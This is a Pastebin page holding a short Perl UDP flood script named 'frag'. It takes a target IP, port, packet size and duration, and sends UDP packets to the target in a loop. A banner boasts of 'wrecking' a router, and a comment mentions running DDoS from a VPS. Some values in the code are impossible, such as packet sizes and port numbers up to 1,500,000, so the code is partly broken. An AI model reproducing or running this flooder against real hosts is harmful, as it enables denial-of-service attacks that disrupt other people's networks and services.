Advertisement
xttpx

frag

Dec 7th, 2022
1,228
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.54 KB | None | 0 0
  1. #!/usr/bin/perl -w
  2.  
  3. use Socket;
  4. use strict;
  5.  
  6. if ($#ARGV != 3) {
  7.   print " U MADE A MISTAKE SAUSAGE <ip> <port> <size> <time>\n\n";
  8.   print " port=0: use random ports\n";
  9.   print " size=0: use random size between 0 and 65000\n";
  10.   print " time=0: continuous flood\n";
  11.   exit(1);
  12. }
  13. #if(EDITED_FRAG_SCRIPT_DDOS_RUNNING_VPS_SERVER \-f/END SCRIPT
  14. my ($ip,$port,$size,$time) = @ARGV;
  15.  
  16. my ($iaddr,$endtime,$psize,$pport);
  17.  
  18. $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
  19. $endtime = time() + ($time ? $time : 500000000);
  20.  
  21. socket(flood, PF_INET, SOCK_DGRAM, 17);
  22.  
  23. print <<EOTEXT;
  24.  
  25.               $¶     ¶´´´´´¶¢
  26.            ¶¶¶¶¶¶¶      ¶¢´´´¶´´´ø¶
  27.           ¶¶´´´´ø¶¶¶´      oø´´ø´´øo
  28.           ´¶7       ¶¶¶´´´´´´1´´´1´´´´1o
  29.         ¶¶¶¶¶¶¶       ¶¶¶7´´´´´´´´1o¶¶¶ø
  30.         ¶¶¶¶¶¶¶          ¶¶¶¶¶¶¶¶´´1
  31.      o¶¶¶¶¶¶¶¶¶ø         ´´´´´´´´´´o$¢
  32.    ¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶         ´¢´´1ø´´´1¶¶
  33.   ¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶o        1$´´´¶
  34. ´¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶        ¶´´´´o¶´
  35.  ¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶      ¶¶
  36.   ¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶´
  37.    ¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶´
  38.      ¶¶¶¶¶¶¶¶¶¶¶¶´
  39.        ¶¶¶¶¶¶¶¶
  40.  
  41.  
  42.     TELL THEM THE COUNT DOWN STARTS.....
  43.     Coded By: xttpx
  44.          
  45. EOTEXT
  46.  
  47. print "WRECKING RATS ROUTER -_- !
  48. $ip" . ($port ? $port : "random") . " port with " .
  49.   ($size ? "$size-byte" : "random size") . " packets" .
  50.   ($time ? " for $time seconds" : "") . "\n";
  51. print "Break with Ctrl-C\n" unless $time;
  52.  
  53. for (;time() <= $endtime;) {
  54.   $psize = $size ? $size : int(rand(1500000-64)+64) ;
  55.   $pport = $port ? $port : int(rand(1500000))+1;
  56.  
  57.  send(flood, pack("a$psize","saf3e368wumu7repa4uxa2rucHaphubeGamu9R3373af8Us3eTHUgepPTOMqIDxn3t5HYdspEofPneXpPTUE0TBN8oRAp4DjSlhfDAVmfNgbdSbTHWT7Y7gVi6kgrNXKCM64V4kOGvesVr0SZU3k83r6qAr3w4d26kurU9eBRa53cEtRaQaCHEvacu4PETRaf3yepHAk9FAgU2at8GEMEZAwUjaDesTufu2r3DaPhedR7quCru7reketc8atacAStuGeFruNuTHaWuspabr6drARa4r4cApRewuFRaD3qAXAsPeMAChudRUWxuq73R5dra8epre4tasp8craq677wru5asuq3tradede8rethuSwAfespastuduypUt2fudra5utanewrat83rucruyuje6aphuprUWawrawr4tha922HeSpU8acacu5hastuprecevasteberepagas6ejuje2heswugukerebrajeVeswerajAdagecah3phE9EsutaFrU6erathu2u6utraseCrEjehaChuphEchepeswutrezu86pret6afauhgjhgjhgjhgjhgjgubihjbghfhgbjnkncvguihjihijguyyihhfduyhjkjhdcfghnjkjhucdrxcftgfvbhnjiknhcrdcfvghunmjikngdcrftgyvbnjikm","flood"), 0, pack_sockaddr_in($pport, $iaddr));}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement